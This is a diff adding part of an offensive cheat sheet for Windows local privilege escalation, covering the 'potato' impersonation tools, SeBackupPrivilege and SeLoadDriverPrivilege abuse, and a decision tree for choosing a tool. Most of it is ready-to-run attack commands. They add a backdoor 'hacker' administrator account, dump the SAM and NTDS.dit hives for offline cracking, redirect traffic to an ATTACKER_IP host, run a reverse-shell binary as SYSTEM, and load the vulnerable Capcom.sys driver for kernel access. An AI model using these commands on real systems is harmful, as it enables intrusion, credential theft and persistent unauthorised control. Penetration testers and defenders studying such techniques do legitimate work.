+ | **Win10 (1809-)** | Yes | No | Yes | Yes | Yes | Yes |
58
+ | **Win10 (1903+)** | No (patched) | Yes | Yes | Yes | Yes | Yes |
59
+ | **Win11** | No | Yes | Yes | Yes | Yes | Yes |
60
+ | **Server 2012/R2** | Yes | No | No | Partial | Yes | No |
61
+ | **Server 2016** | Yes | No | Yes | Yes | Yes | Yes |
62
+ | **Server 2019** | No (patched) | Yes | Yes | Yes | Yes | Yes |
63
+ | **Server 2022** | No | Yes | Yes | Yes | Yes | Yes |
64
+ | **Protocol** | DCOM (CLSID) | OXID redirect | Named Pipe (Spooler) | COM + Spooler + EFS | DCOM RPCSS | EFS RPC |
65
+ | **External Req** | Valid CLSID list | Port 135 redirect | Print Spooler running | None specific | None | EFS service |
66
+ | **Detection Risk** | Medium | Medium-High | Low | Low-Medium | Low | Low |
67
+ | **Complexity** | Need CLSID | Need network redirect | Simple | Simple | Simple | Simple |
68
+
69
+ ---
70
+
71
+ ## 4. TOOL USAGE — COMMAND REFERENCE
72
+
73
+ ### JuicyPotato
74
+
75
+ ```cmd
76
+ # List valid CLSIDs for the OS version (from juicy-potato GitHub)
77
+ # https://github.com/ohpe/juicy-potato/tree/master/CLSID
78
+
79
+ JuicyPotato.exe -l 1337 -p c:\windows\system32\cmd.exe -a "/c whoami > C:\temp\out.txt" -t * -c {CLSID}
80
+
81
+ # Common CLSIDs:
82
+ # {4991d34b-80a1-4291-83b6-3328366b9097} Windows 10
83
+ # {e60687f7-01a1-40aa-86ac-db1cbf673334} Server 2016
84
+ ```
85
+
86
+ ### RoguePotato
87
+
88
+ ```cmd
89
+ # On attacker machine: redirect OXID resolution (port 135)
90
+ socat tcp-listen:135,reuseaddr,fork tcp:TARGET:9999
91
+
92
+ # On target:
93
+ RoguePotato.exe -r ATTACKER_IP -l 9999 -e "cmd.exe /c whoami"
94
+ ```
95
+
96
+ ### PrintSpoofer
97
+
98
+ ```cmd
99
+ # Interactive SYSTEM shell
100
+ PrintSpoofer64.exe -i -c cmd.exe
101
+
102
+ # Execute command as SYSTEM
103
+ PrintSpoofer64.exe -c "cmd /c net user hacker P@ss! /add"
104
+
105
+ # Works from a service context (IIS, MSSQL)
106
+ ```
107
+
108
+ ### SweetPotato
109
+
110
+ ```cmd
111
+ # Auto-selects best technique
112
+ SweetPotato.exe -e EfsRpc -p C:\temp\rev.exe
113
+ SweetPotato.exe -e PrintSpoofer -p cmd.exe -a "/c whoami"
114
+
115
+ # Techniques: WinRM, EfsRpc, PrintSpoofer
116
+ ```
117
+
118
+ ### GodPotato
119
+
120
+ ```cmd
121
+ # Broadest modern compatibility
122
+ GodPotato.exe -cmd "cmd /c whoami"
123
+ GodPotato.exe -cmd "cmd /c net localgroup administrators hacker /add"
124
+
125
+ # .NET version requirements: .NET 2.0 / 3.5 / 4.x variants available
126
+ ```
127
+
128
+ ---
129
+
130
+ ## 5. SeBackupPrivilege EXPLOITATION
131
+
132
+ ```cmd
133
+ # Method 1: Registry hive extraction
134
+ reg save HKLM\SAM C:\temp\SAM
135
+ reg save HKLM\SYSTEM C:\temp\SYSTEM
136
+ reg save HKLM\SECURITY C:\temp\SECURITY
137
+ # Transfer to attacker → secretsdump.py -sam SAM -system SYSTEM -security SECURITY LOCAL
138
+
139
+ # Method 2: robocopy with backup flag
140
+ robocopy /b C:\Windows\NTDS C:\temp ntds.dit
141
+ # Then extract with secretsdump
142
+ ```
143
+
144
+ ### PowerShell Approach
145
+
146
+ ```powershell
147
+ # Import required DLL methods for backup privilege
148
+ # Set-SeBackupPrivilege then copy NTDS.dit
149
+ Import-Module .\SeBackupPrivilegeUtils.dll
150
+ Import-Module .\SeBackupPrivilegeCmdLets.dll
151
+ Set-SeBackupPrivilege
152
+ Copy-FileSeBackupPrivilege "C:\Windows\NTDS\ntds.dit" "C:\temp\ntds.dit"
153
+ ```
154
+
155
+ ---
156
+
157
+ ## 6. SeLoadDriverPrivilege EXPLOITATION
158
+
159
+ ```
160
+ 1. Compile or obtain a vulnerable signed driver (e.g., Capcom.sys)
161
+ 2. Create registry key: HKCU\System\CurrentControlSet\MyDriver
162
+ - Set ImagePath to \\?\C:\temp\Capcom.sys
163
+ - Set Type to 1
164
+ 3. Call NtLoadDriver() to load the driver
165
+ 4. Exploit the vulnerable driver for kernel code execution
166
+ 5. Use kernel access to steal SYSTEM token
167
+ ```
168
+
169
+ ```cmd
170
+ # Using EoPLoadDriver
171
+ EoPLoadDriver.exe System\CurrentControlSet\MyDriver C:\temp\Capcom.sys
172
+ # Then use ExploitCapcom.exe to execute command as SYSTEM
173
+ ExploitCapcom.exe cmd.exe
174
+ ```
175
+
176
+ ---
177
+
178
+ ## 7. POTATO SELECTION DECISION TREE
179
+
180
+ ```
181
+ Have SeImpersonatePrivilege?
182
+
183
+ ├── What OS version?
184
+ │ │
185
+ │ ├── Windows 7 / Server 2008R2
186
+ │ │ └── JuicyPotato (find valid CLSID for this OS)
187
+ │ │
188
+ │ ├── Windows 8/8.1 / Server 2012/2012R2
189
+ │ │ ├── JuicyPotato (first choice)
190
+ │ │ └── GodPotato (if JP fails)
191
+ │ │
192
+ │ ├── Windows 10 (1607-1809) / Server 2016
193
+ │ │ ├── PrintSpoofer (if Spooler runs)
194
+ │ │ ├── JuicyPotato (find CLSID)
195
+ │ │ └── GodPotato
196
+ │ │
197
+ │ ├── Windows 10 (1903+) / Server 2019
198
+ │ │ ├── PrintSpoofer (if Spooler runs)
199
+ │ │ ├── GodPotato (recommended)
200
+ │ │ ├── RoguePotato (if you control port 135 redirect)
201
+ │ │ └── SweetPotato (auto-selection)
202
+ │ │
203
+ │ └── Windows 11 / Server 2022
204
+ │ ├── GodPotato (recommended — broadest compat)
205
+ │ ├── PrintSpoofer (if Spooler runs)
206
+ │ └── SweetPotato (fallback)
207
+
208
+ ├── Print Spooler service running?
209
+ │ ├── Yes → PrintSpoofer (fastest, cleanest)
210
+ │ └── No → GodPotato or RoguePotato
211
+
212
+ └── All fail?
213
+ ├── Check if EFS service runs → EfsPotato
214
+ ├── Try SweetPotato (rotates techniques)
215
+ └── Consider named pipe impersonation manually
216
+ ```